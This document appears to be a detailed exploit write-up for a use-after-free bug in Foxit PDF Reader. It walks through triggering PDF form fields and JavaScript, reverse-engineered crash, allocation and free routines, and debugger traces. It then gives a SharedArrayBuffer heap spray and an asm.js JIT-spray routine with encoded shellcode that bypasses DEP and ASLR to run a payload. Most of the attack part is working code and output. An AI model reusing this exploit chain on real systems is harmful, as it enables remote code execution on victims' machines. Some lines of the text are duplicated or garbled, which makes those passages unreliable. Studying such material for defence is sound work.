Step 1: build the PDF with static form fields

The test case uses static form fields in the PDF plus a JavaScript action that manipulates them. A form field is the same idea as a text box or drop-down list on a web page: a place where the user can type or pick a value. In a PDF, each field is described by a small block of text in the file. The three fields involved are shown below:

Text
5 0 obj
<<
/Type /Annot
/Subtype /Widget
/T (field_10)
/FT /Ch
/Rect [844 625 413 191]
/Opt [(FK2V7)]
/I [0 1]
/Ff 67379206
>>
endobj
6 0 obj
<<
/Type /Annot
/Subtype /Widget
/T (field_12)
/FT /Ch
/Rect [553 60 781 220]
/TU (AVALAJX9P0)
/TI 990
/I [0 1]
/Ff 1743797713
>>
endobj
7 0 obj
<<
/Type /Annot
/Subtype /Widget
/T (field_15)
/FT /Tx
/Rect [695 237 690 797]
/TU (XA225DZMOZ)
/TM (86P4A4SWL7)
/MaxLen 1002
/V ([redacted])
/Ff 45059
>>
endobj

Line by line:

  • 5 0 obj starts the definition of object number 5. A PDF is a collection of numbered objects; the numbers are how one part of the file refers to another.
  • /Type /Annot says this object is an annotation, which is a piece of interactive content placed on a page.
  • /Subtype /Widget says the annotation is a widget, meaning a form control the user can interact with.
  • /T (field_10) gives the field its name, field_10. The JavaScript later looks the field up by this name.
  • /FT /Ch sets the field type to choice, meaning a drop-down or list of options. Ch is short for choice.
  • /Rect [844 625 413 191] gives the rectangle on the page where the field is drawn, in PDF coordinates.
  • /Opt [(FK2V7)] lists the available options for the choice field. Here there is one option, FK2V7.
  • /I [0 1] selects which option is currently chosen, by index.
  • /Ff 67379206 sets the field flags, a bitmask of options such as "read only" or "multi-select". A bitmask is a number whose individual bits each mean a yes/no setting.
  • endobj closes the object.

The second object, 6 0 obj, is another choice field named field_12. It has extra entries: , and The third object, 7 0 obj, is a text field (/FT /Tx) named field_15. It has /MaxLen 1002, the maximum number of characters allowed, and /V ([redacted]), the current value of the field.

So field_10 and field_12 are choice fields, and field_15 is a text field. The JavaScript below refers to them by name.

Step 2: trigger the faulting JavaScript

The JavaScript wires callbacks together and then closes the document, which is what drives the free and the stale access:

JavaScript
var f0 = this.getField("field_15");
var f1 = this.getField("field_12");

f1.setAction("Format", "callback7()");
this.getField("field_10").setFocus();

function callback0()
{
    f1.setItems([1]);  // invokes callback7 which frees block of memory
                       // stale memory access when callback0 ends
}

function callback7()
{
    this.deletePages(0);  // frees block of memory
}

f0.setAction("Calculate", "callback0()");
this.closeDoc(true);  // invokes callback0

Line by line:

  • var f0 = this.getField("field_15"); looks up the text field named field_15 and stores a reference to it in the variable f0. this here means the document object, the entry point for the PDF's own scripting API.
  • var f1 = this.getField("field_12"); does the same for the choice field field_12, storing it in f1.
  • f1.setAction("Format", "callback7()"); registers a callback: a function the program will call later, automatically, when a particular event happens. Here the event is Here the event is Format. The function to call is callback7. The function to call is callback7.
  • this.getField("field_10").setFocus(); moves the user's focus (the active cursor) to field_10. This is the step that causes Foxit to allocate the object that will later be freed.
  • function callback0() { ... } defines a function named callback0. Its body calls f1.setItems([1]);, which replaces the list of options in the choice field f1 with a single option whose index is 1. Setting the options triggers the field's Format callback, which is callback7.
  • The comment // invokes callback7 which frees block of memory explains the chain: setting items fires the format callback, and that callback frees memory.
  • The comment // stale memory access when callback0 ends explains the bug: when callback0 returns, the code that called it still holds a pointer to the object that was just freed, and it will use it.
  • function callback7() { this.deletePages(0); } defines the format callback. It deletes page 0 of the document. Deleting a page frees the object that was allocated when field_10 got focus.
  • f0.setAction("Calculate", "callback0()"); registers callback0 as the handler for the Calculate event on field_15. The f0.setAction("Calculate", "callback0()"); registers callback0 as the handler for the Calculate event on field_15.
  • this.closeDoc(true); closes the document. this.closeDoc(true); closes the document. Closing the document triggers the Calculate event on field_15, which calls callback0, which sets the items on f1, which calls callback7, which deletes page 0 and frees the object. Then control returns to the close routine, which still holds the pointer to the freed object and uses it.

The sequence, in order:

  1. A Format action is registered on field_12 pointing at callback7.
  2. setFocus is called on field_10, which allocates the target object.
  3. A Calculate action is registered on field_15 pointing at callback0.
  4. closeDoc(true) invokes the calculate handler.
  5. Inside callback0, setting the items property of the choice list f1 invokes its registered format callback, which deletes page 0 and frees the target object.
  6. When callback0 returns, the code touches the freed memory.

Step 3: understand the crash site

The crash happens while dereferencing the this pointer. Dereferencing means following a pointer to read or write the memory it points at. The function that crashes looks like this:

C++
int __thiscall sub_1734610(_DWORD *this)
{
  int v1; // eax
  bool v2; // cl

  v1 = this[11];  // CRASH while dereferencing this pointer
  v2 = 0;
  if ( v1 )
    v2 = *(_DWORD *)v1 != 0;
  if ( v2 && v1 )
    return *(_DWORD *)v1;
  else
   return 0
}

Line by line:

  • int __thiscall sub_1734610(_DWORD *this) declares a function that takes one argument, a pointer called this. __thiscall is a calling convention, a rule about how arguments are passed and who cleans up the stack. _DWORD * means "pointer to a 4-byte value". The name sub_1734610 is the debugger's placeholder name for a function at address 0x1734610; the real name is not known.
  • int v1; and bool v2; declare two local variables.
  • v1 = this[11]; reads the 12th 4-byte slot of the object (index 11, counting from 0). This is the line that crashes, because this points at freed memory.
  • v2 = 0; initialises v2 to false.
  • if ( v1 ) checks whether the value read is non-zero.
  • v2 = *(_DWORD *)v1 != 0; if it is non-zero, treat it as a pointer, read the 4-byte value there, and set v2 to true if that value is non-zero.
  • if ( v2 && v1 ) checks both conditions.
  • return *(_DWORD *)v1; returns the value pointed at by v1.
  • else return 0 returns zero otherwise. The missing semicolon is in the original listing.

The important point is that the function trusts this completely. If an attacker can control what this points at, the function will read from an address the attacker chose.

Step 4: trace the allocation

Stack trace analysis shows that sub_1729070 allocates a Widget related object of size 0x64 when this.getField("field_10").setFocus() runs. 0x64 is 100 in decimal. The function returns different sized objects depending on a type check; in this case the switch case condition 5 is satisfied and an object of size 0x64 is returned:

C++
int __thiscall sub_1729070(_DWORD *this, int a2, char a3)
{
    // ...
    // {
      if ( a3 )
      {
        switch ( sub_1A2DB10(a2) )
        {
          case 1:
            LOBYTE(v24) = 3;
            v25 = operator new(0x34u);
            LOBYTE(v24) = 4;
            if ( v25 )
              v4 = (void (__thiscall ***)(_DWORD, int))sub_173BDC0(v21[5], a2);
            else
              v4 = 0;
            v22 = v4;
            v23 = 0;
            LOBYTE(v24) = 2;
            v7 = (int)v4;
            break;
          case 2:
            LOBYTE(v24) = 5;
            v26 = operator new(0x34u);
            LOBYTE(v24) = 6;
            if ( v26 )
              v4 = (void (__thiscall ***)(_DWORD, int))sub_1736D60(v21[5], a2);
            else
              v4 = 0;
            v22 = v4;
            v21 = 0;
            v23 = 0;
            LOBYTE(v24) = 2;
            v7 = (int)v4;
            break;
          case 3:
            LOBYTE(v24) = 7;
            v27 = operator new(0x34u);
            LOBYTE(v24) = 8;
            if ( v27 )
              v4 = (void (__thiscall ***)(_DWORD, int))sub_173CF80(v21[5], a2);
            else
              v4 = 0;
            v22 = v4;
            v17[5] = 0;
            v23 = 0;
            LOBYTE(v24) = 2;
            v7 = (int)v4;
            break;
          case 4:
            LOBYTE(v24) = 13;
            v30 = operator new(0x54u);
            LOBYTE(v24) = 14;
            if ( v30 )
              v4 = (void (__thiscall ***)(_DWORD, int))sub_1738240(v21[5], a2);
            else
              v4 = 0;
            v22 = v4;
            v17[2] = 0;
            v23 = 0;
            LOBYTE(v24) = 2;
            v7 = (int)v4;
            break;
          case 5:
            LOBYTE(v24) = 11;
            v29 = operator new(0x64u);
            LOBYTE(v24) = 12;
            if ( v29 )
              v4 = (void (__thiscall ***)(_DWORD, int))sub_173A6E0(v21[5], a2);
            else
              v4 = 0;
            v22 = v4;
            v17[3] = 0;
            v23 = 0;
            LOBYTE(v24) = 2;
            v7 = (int)v4;
            break;
          case 6:
            LOBYTE(v24) = 9;
            v28 = operator new(0x6Cu);
            LOBYTE(v24) = 10;
            if ( v28 )
              v4 = (void (__thiscall ***)(_DWORD, int))sub_172E660(v21[5], a2);
            else
              v4 = 0;
            v22 = v4;
            v17[4] = 0;
            v23 = 0;
            LOBYTE(v24) = 2;
            v7 = (int)v4;
            break;
          default:
            v4 = 0;
            v7 = 0;
            v22 = 0;
            break;
        }
      }
      // ...
  return v7;
}

Line by line, in plain words:

  • int __thiscall sub_1729070(_DWORD *this, int a2, char a3) is a function that takes a this pointer, an integer a2, and a character a3.
  • if ( a3 ) checks whether a3 is non-zero. If it is, the function goes into the switch.
  • switch ( sub_1A2DB10(a2) ) calls another function to work out a type number from a2, then picks a branch based on that number. This is the type check the report mentions.
  • case 1: through case 6: are the possible branches. Each one allocates a different size with operator new, which is the C++ way of asking the operating system for a fresh block of memory. 0x34 is 52 bytes, 0x54 is 84, 0x64 is 100, and 0x6C is 108.
  • case 5: is the branch that matters here. It calls operator new(0x64u), allocating 100 bytes, and then calls sub_173A6E0 to initialise the object.
  • v7 = (int)v4; stores the pointer to the new object in v7, which is what the function returns.
  • The default: branch handles any other type number by returning zero.

The allocation can be confirmed in the debugger. The heap block is busy and has a user size of 64 (hex), matching 0x64:

Text
0:000> !ext.heap -p -a @eax
    address 256caf98 found in
    _DPH_HEAP_ROOT @ c911000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                             25343444:         256caf98               64 -         256ca000             2000
          unknown!fillpattern
    6feda8b0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    7723ef0e ntdll!RtlDebugAllocateHeap+0x00000039
    771a6150 ntdll!RtlpAllocateHeap+0x000000f0
    771a57fe ntdll!RtlpAllocateHeapInternal+0x000003ee
    771a53fe ntdll!RtlAllocateHeap+0x0000003e
    04608ccc FoxitPDFReader!_malloc_base+0x00000038
    043015ec FoxitPDFReader!void * __cdecl operator new(unsigned int)+0x0000002a
    01c492d1 FoxitPDFReader!sub_1729070+0x00000261
    01c4cb21 FoxitPDFReader!sub_172C7B0+0x00000371
    01f60781 FoxitPDFReader!sub_1A406B0+0x000000d1
    0118ac87 FoxitPDFReader!sub_C6A710+0x00000577
    ...

What this tells us:

  • !ext.heap -p -a @eax asks the heap extension to describe the block at the address in eax, which at this point holds the pointer returned by operator new.
  • in busy allocation is the opposite of the earlier in free-ed allocation: the block is currently in use.
  • UserSize 64 is the size the program asked for, in hexadecimal, which is 0x64.
  • The stack trace shows the allocation came through operator new, then sub_1729070, which matches the source listing above.

Step 5: follow the free path

When the document is closed, sub_172B3A0 is called. It asks sub_1729070 for the target object, which was already created during setFocus, and then makes an indirect call through that object:

C++
char __thiscall sub_172B3A0(_DWORD *this, _DWORD *a2)
{
  v2 = this;
  v35 = this;
  sub_6970E0(&v37);
  v39 = 0;
  // sub_1729070 returns target object which was already created during setFocus
  v4 = sub_1729070(v2, (int)a2, 0);
  if ( v4 )
  {
    // indirect call which also triggers format callback
    if ( !(*(unsigned __int8 (__thiscall **)(int, _DWORD *))(*(_DWORD *)v4 + 80))(v4, a2) )
    {
      sub_112B090(&v35, &v37);
      if ( v35 != (_DWORD *)v2[9] )
        sub_112AFB0(v31, v35);
LABEL_49:
      v15 = 0;
      // ...
    }
    // ...
  }
  // ...
}

Line by line:

  • char __thiscall sub_172B3A0(_DWORD *this, _DWORD *a2) is the close routine. It takes the document object and a second argument.
  • v2 = this; v35 = this; keep copies of the document pointer.
  • sub_6970E0(&v37); and v39 = 0; set up some local state.
  • v4 = sub_1729070(v2, (int)a2, 0); calls the allocation function from Step 4. Because the object was already created during setFocus, this call returns the existing object rather than making a new one. The comment in the listing says exactly that.
  • if ( v4 ) checks the pointer is not null.
  • (*(unsigned __int8 (__thiscall **)(int, _DWORD *))(*(_DWORD *)v4 + 80))(v4, a2) is the indirect call. In plain words: read the first 4 bytes of the object at v4, which is a pointer to a table of function pointers (a vtable), add 80 bytes to reach a particular entry, and call whatever function is stored there. This is how C++ implements virtual methods: the actual function called depends on the object's type, looked up at runtime.
  • The comment // indirect call which also triggers format callback tells us that the function reached through the vtable is the one that fires the Format callback registered on field_12.
  • The rest of the function handles the return value and some bookkeeping.

The indirect call invokes the format callback registered on field_12. Inside that callback, this.deletePages frees the target object. The function responsible for freeing the 0x64 object is sub_173A900, and the freed block is later accessed by sub_1734610, which crashes:

X86ASM
.text:0173A900 ; void *__thiscall sub_173A900(void *this, char)
.text:0173A900 sub_173A900     proc near               ; CODE XREF: sub_173A8EA+3↑j
.text:0173A900                                         ; DATA XREF: .rdata:off_48159CC↓o
.text:0173A900
.text:0173A900 arg_0           = byte ptr  8
.text:0173A900
.text:0173A900                 push    ebp
.text:0173A901                 mov     ebp, esp
.text:0173A903                 push    esi
.text:0173A904                 mov     esi, ecx
.text:0173A906                 call    sub_173A7E0
.text:0173A90B                 test    [ebp+arg_0], 1
.text:0173A90F                 jz      short loc_173A91C
.text:0173A911                 push    64h ; 'd'                                        ;; size
.text:0173A913                 push    esi                                              ;; ESI - target block
.text:0173A914                 call    sub_3FD2B88                                      ;; memory free call wrapper
.text:0173A919                 add     esp, 8
.text:0173A91C
.text:0173A91C loc_173A91C:                            ; CODE XREF: sub_173A900+F↑j
.text:0173A91C                 mov     eax, esi
.text:0173A91E                 pop     esi
.text:0173A91F                 pop     ebp
.text:0173A920                 retn    4
.text:0173A920 sub_173A900     endp

Line by line:

  • .text:0173A900 sub_173A900 proc near starts the function. proc near is assembler syntax for "a procedure that is called with a near (same-segment) call".
  • The CODE XREF and DATA XREF comments are cross-references: places in the binary that call this function or store its address in a table.
  • arg_0 = byte ptr 8 names the first stack argument, which sits 8 bytes above the frame pointer.
  • push ebp and mov ebp, esp set up the stack frame, the standard prologue of a 32-bit function.
  • push esi saves a register the function is about to use.
  • mov esi, ecx copies ecx into esi. In the __thiscall convention, ecx holds the this pointer, so esi now holds the object being freed.
  • call sub_173A7E0 calls a helper function.
  • test [ebp+arg_0], 1 checks the lowest bit of the first argument.
  • jz short loc_173A91C skips the free if the bit is zero.
  • push 64h ; 'd' pushes the size, 0x64 bytes, as the first argument to the free routine. The ; 'd' is the assembler showing that 0x64 is the ASCII code for the letter d.
  • push esi pushes the target block address as the second argument.
  • call sub_3FD2B88 calls the memory free wrapper, which eventually reaches the operating system's free routine.
  • add esp, 8 cleans up the two arguments pushed above.
  • mov eax, esi returns the object pointer in eax.
  • pop esi, pop ebp, retn 4 restore the saved registers and return, removing 4 bytes of arguments from the stack.

So this function is the one that actually frees the 100-byte object. After it runs, the pointer held by the close routine is stale.

Step 6: reclaim the freed block

If the same size allocation can be controlled and reallocated, code execution can be gained through the call instruction inside sub_172ADA0. With the freed block filled with 0x41414141, the debugger shows the indirect call reading through the controlled pointer:

Text
eax=41414141 ebx=0e847e88 ecx=0e8c7960 edx=00000000 esi=0e8c7960 edi=00000002
eip=01c2ade1 esp=080fa8dc ebp=080fa910 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x277e41:
01c2ade1 ff5074          call    dword ptr [eax+74h] ds:002b:414141b5=????????

What this shows:

  • eax=41414141 means the register that the program is about to use as a pointer holds the value 0x41414141. That is the ASCII code for AAAA, a value the attacker chose. In other words, the attacker now controls the pointer.
  • eip=01c2ade1 is the instruction being executed.
  • 01c2ade1 ff5074 call dword ptr [eax+74h] is the instruction: read a 4-byte value from eax + 0x74 and call it as a function. 0x74 is 116 in decimal.
  • ds:002b:414141b5=???????? shows the address being read (0x414141b5, which is 0x41414141 + 0x74) and that it is not accessible. The ???????? is the crash.

The key insight is that the program is treating the freed block as a C++ object and calling a virtual method on it. If the attacker can put a valid pointer at offset 0x74 inside the block, the program will call whatever address that pointer holds. That is the path to code execution.

During testing it was found that support for ArrayBuffer was disabled in Foxit Reader, likely as a preventative measure against common JavaScript exploit primitives such as heap spraying and out-of-bounds read/write. SharedArrayBuffer, however, was not disabled and could be used for the same purpose. The following script grooms the heap to crash the process at a controlled location:

JavaScript
// spray memory allocations
function reclaim(size, count){
    for (var i = 0; i < count; i++) {
        sprayArr[i] = new SharedArrayBuffer(size);
        var rop = new DataView(sprayArr[i]);

        // control value for - call dword ptr [eax+74h]
        // first dword is pointer to the shellcode
        rop.setUint32(0, 0x41414141);

        for (var j = 4; j < rop.byteLength/4; j+=4) {
            rop.setUint32(j, 0x42424242);
        }
    }
}

function callback0()
{
    // trigger formatCallback on field 1
    f1.setItems([1]);

    // above call should free block of memory
    // we reclaim freed memory by heap spraying of fixed allocations
    reclaim(0x58, 0x1000);
    reclaim(0x68, 0x1000);
}

Line by line:

  • function reclaim(size, count){ defines a helper that will create count buffers, each of size bytes.
  • for (var i = 0; i < count; i++) { loops count times.
  • sprayArr[i] = new SharedArrayBuffer(size); creates a new shared buffer of the requested size and stores it in an array. A SharedArrayBuffer is a block of memory that JavaScript can read and write directly, byte by byte. It is normally used for sharing data between threads, but here it is used as a way to place attacker-chosen bytes in memory.
  • var rop = new DataView(sprayArr[i]); wraps the buffer in a DataView, which gives convenient methods for writing numbers at specific byte offsets.
  • rop.setUint32(0, 0x41414141); writes the 4-byte value 0x41414141 at offset 0 of the buffer. The comment explains why: this is the value that will end up in eax when the virtual call happens, and the first 4 bytes of the buffer are meant to be a pointer to the shellcode.
  • for (var j = 4; j < rop.byteLength/4; j+=4) { loops over the rest of the buffer in 4-byte steps.
  • rop.setUint32(j, 0x42424242); fills each remaining 4-byte slot with 0x42424242, the ASCII code for BBBB. This is filler, so that the buffer is full of recognisable values.
  • function callback0() is the same callback as before, now extended.
  • f1.setItems([1]); triggers the format callback, which frees the target object.
  • reclaim(0x58, 0x1000); and reclaim(0x68, 0x1000); then allocate 4096 buffers of size 0x58 and 4096 of size 0x68. The script then allocates 4096 buffers of size 0x58 and 4096 of size 0x68. This is heap spraying: filling memory with many copies of attacker-controlled data so that at least one lands where the attacker wants it.

In the sprayed blocks, eax points to the start of the memory buffer, and the indirect call at offset 0x74 indicates a C++ object inside Foxit where a virtual method is invoked. Controlling that object lets the attacker execute arbitrary code in the context of the Foxit process.

Step 7: bypass DEP

Data Execution Prevention (DEP) is an operating system feature that marks certain regions of memory as non-executable. Even if an attacker manages to write their own machine code into memory, the CPU will refuse to run it if that memory is marked non-executable. DEP is the reason a simple "write shellcode to the heap and jump to it" attack no longer works on modern systems.

One way to bypass DEP is return-oriented programming (ROP): chaining together short code sequences, called gadgets, that are already present in the program's memory in a specific order to execute arbitrary code without calling sprayed shellcode directly. Each gadget ends in a ret instruction, which pops the next address off the stack, so by arranging the stack carefully the attacker can make the program run a sequence of existing code fragments that together do what they want. This can be difficult to achieve, but there are tools and resources available to help with the process.

The bug is a use-after-free of a heap object that allows calling arbitrary addresses through a virtual function call. Heap spraying with user-controlled data is possible, but heap memory does not have execute permissions, so shellcode sprayed on the heap cannot be called. Bypassing DEP would need an arbitrary read/write primitive and a ROP chain to create an executable memory range, which the authors did not have. An arbitrary read/write primitive is a capability that lets the attacker read or write any memory address they choose; with one, they could rewrite the program's own data structures to disable DEP or build a ROP chain.

Step 8: bypass CFG

Control Flow Guard (CFG) is a mitigation technique that is designed to prevent attackers from calling arbitrary call sites. When a program is compiled with CFG, the compiler records the set of legitimate targets for every indirect call, and at runtime the CPU checks each indirect call against that list. If the target is not on the list, the program is terminated. CFG is used to protect indirect calls and is present in most modern software.

However, in the case of Foxit, the software was not compiled with CFG support, which means that attackers can call any memory address within the Foxit address space. That absence is what makes the virtual call usable: the attacker can point the vtable entry at any address they like, and nothing will stop them.

Step 9: bypass ASLR

Address Space Layout Randomization (ASLR) is a mitigation that randomises where the program's code, libraries, stack and heap are placed in memory each time the program starts. Without ASLR, an attacker can hardcode addresses in their exploit, because the layout is the same on every run. With ASLR, those addresses change, so a hardcoded address will usually point at nothing useful.

Foxit PDF Reader has ASLR enabled, so hardcoded addresses cannot be used to call shellcode. Bypassing ASLR would need a heap-leaking primitive (an info-leak), which was not available. An info-leak is any bug that lets the attacker read memory they should not see, which can reveal the randomised addresses.

Step 10: JIT spraying to bypass DEP and ASLR at once

JIT spraying is a technique that can bypass both DEP and ASLR at the same time. Foxit ships the Google V8 JavaScript engine as a backend for JavaScript in PDF files, and testing showed Foxit is vulnerable to JIT spraying.

A JIT compiler (Just-In-Time compiler) is a component of a JavaScript engine that converts JavaScript bytecode into native machine code while the program is running, to make it faster. To do this, the JIT compiler must create memory with read-write-execute permissions to store the compiled code: the compiler writes the code, and then the CPU executes it. That is exactly the kind of memory DEP normally forbids, but the JIT needs it, so the operating system allows it for the JIT's own buffers.

JIT spraying abuses this: the attacker writes JavaScript whose compiled machine code contains, embedded in it, the bytes of their shellcode. Because the JIT places this code in executable memory, the attacker can jump into it and run their payload. The technique also helps with ASLR, because the JIT allocates many buffers and the attacker can guess a base address where one of the sprays is located.

rh0dev's research on JIT spraying, particularly on the use of the asm.js feature of JavaScript, allows an attacker to spray encoded shellcode using asm.js and bypass DEP and ASLR. asm.js is a strict subset of JavaScript that is designed to be compiled efficiently; it gives the JIT compiler predictable patterns to work with, which makes the sprayed code more reliable. The referenced material is "The Return of the JIT" and the rh0dev/expdev repository.

rh0dev avatar
rh0dev avatar From the original on hacksys.io

After several attempts the authors produced a JIT spray for v8 inside Foxit. The debugger listing of PAGE_EXECUTE_READWRITE regions shows many private committed regions of size 5000:

Text
0:000> !address -f:PAGE_EXECUTE_READWRITE
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...

  BaseAddr EndAddr+1 RgnSize     Type       State         Protect             Usage
----------------------------------------------------------------------------------------------
      c0000     c5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    140000   145000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    1c0000   1c5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    200000   205000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    280000   285000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    2c0000   2c5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    300000   305000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    ...
  18c40000 18c45000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  18c50000 18c55000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  18c60000 18c65000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  18c70000 18c75000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  18c80000 18c85000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  18c90000 18c95000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  18ca0000 18ca5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  18cb0000 18cb5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  18cc0000 18cc5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  18cd0000 18cd5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    ...
  3fec0000 3fec5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  3ff00000 3ff05000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]

What this shows:

  • !address -f:PAGE_EXECUTE_READWRITE asks the debugger to list every memory region whose protection is PAGE_EXECUTE_READWRITE, meaning it can be read, written and executed.
  • The Mapping ... regions... lines are the debugger's progress messages as it walks through different kinds of memory.
  • Each row in the table is one region: BaseAddr is where it starts, EndAddr+1 is where it ends, RgnSize is its size (5000 hex, which is 20480 bytes), Type is MEM_PRIVATE (private to the process), State is MEM_COMMIT (actually backed by physical memory), and Protect is the permission.
  • The many rows of size 5000 are private committed read-write-execute regions. The fact that there are so many of them is the result of the spraying: the attacker made the JIT compile thousands of small functions, each producing its own executable buffer.

The base of any allocation confirms the shellcode spraying. The first jump goes to the generated code at 18ca4780:

Text
0:000> u 18ca0000
18ca0000 e97b470000      jmp     18ca4780
18ca0005 e956470000      jmp     18ca4760
18ca000a cc              int     3
18ca000b cc              int     3
18ca000c cc              int     3

Line by line:

  • u 18ca0000 asks the debugger to disassemble (turn back into instructions) the bytes starting at address 18ca0000.
  • 18ca0000 e97b470000 jmp 18ca4780 is a jump instruction. e9 is the opcode for a relative jump, and 7b470000 is the offset. The CPU will continue at 18ca4780.
  • 18ca0005 e956470000 jmp 18ca4760 is a second jump, to a different address.
  • 18ca000a cc int 3 is a breakpoint instruction, used as padding. int 3 is the one-byte instruction the CPU uses for software breakpoints.

That generated code contains the encoded shellcode:

Text
18ca4780 55              push    ebp
18ca4781 89e5            mov     ebp,esp
18ca4783 6a0a            push    0Ah
18ca4785 56              push    esi
18ca4786 8b7e17          mov     edi,dword ptr [esi+17h]
18ca4789 3927            cmp     dword ptr [edi],esp
18ca478b 0f83e5010000    jae     18ca4976
18ca4791 8b7e1b          mov     edi,dword ptr [esi+1Bh]
18ca4794 8b7f07          mov     edi,dword ptr [edi+7]
18ca4797 8b461f          mov     eax,dword ptr [esi+1Fh]
18ca479a 8b00            mov     eax,dword ptr [eax]
18ca479c 68a247b419      push    19B447A2h
18ca47a1 68909090a8      push    0A8909090h
18ca47a6 6831c990a8      push    0A890C931h
18ca47ab 686a3058a8      push    0A858306Ah
18ca47b0 68648b00a8      push    0A8008B64h
18ca47b5 688b400ca8      push    0A80C408Bh
18ca47ba 688b7014a8      push    0A814708Bh

Line by line:

  • push ebp and mov ebp,esp are the standard function prologue.
  • push 0Ah pushes the number 10 onto the stack.
  • push esi saves a register.
  • mov edi,dword ptr [esi+17h] reads a 4-byte value from esi + 0x17 into edi.
  • cmp dword ptr [edi],esp compares the value at edi with the stack pointer.
  • jae 18ca4976 jumps if the comparison says "above or equal", a bounds check.
  • The next few mov instructions load more values from memory.
  • push 19B447A2h pushes the address 0x19B447A2 onto the stack. This is the address the shellcode will eventually start at.
  • The following push instructions push the encoded shellcode bytes. Each push places 4 bytes on the stack. The bytes look like random numbers, but when the CPU executes them as instructions, they form the shellcode.

The JIT spraying script is stripped for readability; the full source is in the exploit on GitHub. It sprays calc.exe via WinExec plus ExitProcess shellcode, with a VirtualAlloc of size 0x5000:

JavaScript
// spray calc.exe WinExec + ExitProcess shellcode
// VirtualAlloc of size 0x5000
function sprayJITShellcode(asmJsModuleName, payloadFuncName, ffiFuncName)
{
    var script = `
        function ${asmJsModuleName} (stdlib, ffi, heap){
            'use asm';
            var ffi_func = ffi.func;

            function ${payloadFuncName} () {
                var val = 0;
                val = ffi_func(
                    0xa8909090|0,
                    0xa8909090|0,
                    0xa8909090|0,
                    0xa890d6ff|0,
                    0xa890006a|0,
                    0xa890d7ff|0,
                    0xa851056a|0,
                    0xa890e189|0,
                    //...
                    0xa83c538b|0,
                    0xa810588b|0,
                    0xa8ad96ad|0,
                    0xa814708b|0,
                    0xa80c408b|0,
                    0xa8008b64|0,
                    0xa858306a|0,
                    0xa890c931|0,
                    0xa8909090|0,
                    0x19b447a2|0,   //using predicated 19b40000 base
                )|0;
                return val|0;
            }
            return ${payloadFuncName};
        }

        function ${ffiFuncName} () {
            var x = 0;
            return x|0;
        }
        for (var f=0; f<0x10; f++) {
            asmJsModulesArr.push(${asmJsModuleName}(this, { func: ${ffiFuncName} }, 0));
        };
    `;
    eval(script)
    // required to generate jit code
    asmJsModulesArr[asmJsModulesArr.length-1]();
}

// spray jit shellcode allocation
// 00005dbc: index to shellcode from the base of the VirtualAlloc
for (var jitcount=0; jitcount<3000; jitcount++) {
    sprayJITShellcode("foo"+jitcount, "payload"+jitcount, "ffi_func"+jitcount);
}

Line by line:

  • function sprayJITShellcode(asmJsModuleName, payloadFuncName, ffiFuncName) defines a function that builds one asm.js module. The three arguments are names used to make each module unique, so the JIT compiles each one separately.
  • var script = \`` starts a template literal, a JavaScript string that can span multiple lines and contain ${...}` placeholders.
  • function ${asmJsModuleName} (stdlib, ffi, heap){ declares the asm.js module. The stdlib, ffi and heap arguments are the standard interface an asm.js module uses to talk to the outside world.
  • 'use asm'; is the directive that tells the engine to treat the function body as asm.js, enabling the optimised compilation path.
  • var ffi_func = ffi.func; grabs a function from the foreign function interface object. The ffi object is how asm.js calls out to normal JavaScript.
  • function ${payloadFuncName} () { declares the payload function.
  • var val = 0; initialises a local variable.
  • val = ffi_func( starts a call to the foreign function, passing a long list of 32-bit integers.
  • Each 0xa8909090|0, line is one argument. The |0 forces the value to be treated as a 32-bit integer, which is how asm.js expresses integer types. The values themselves are the encoded shellcode: when the JIT compiles this call, it emits machine code that contains these constants, and that machine code is what the attacker will jump into.
  • 0x19b447a2|0, //using predicated 19b40000 base is the address the shellcode will start at, based on the guessed base 0x19b40000.
  • )|0; closes the call and forces the result to an integer.
  • return val|0; returns the value.
  • return ${payloadFuncName}; returns the payload function from the module.
  • function ${ffiFuncName} () { var x = 0; return x|0; } is a dummy foreign function. It does nothing, but its presence is needed so that the JIT compiles the call site.
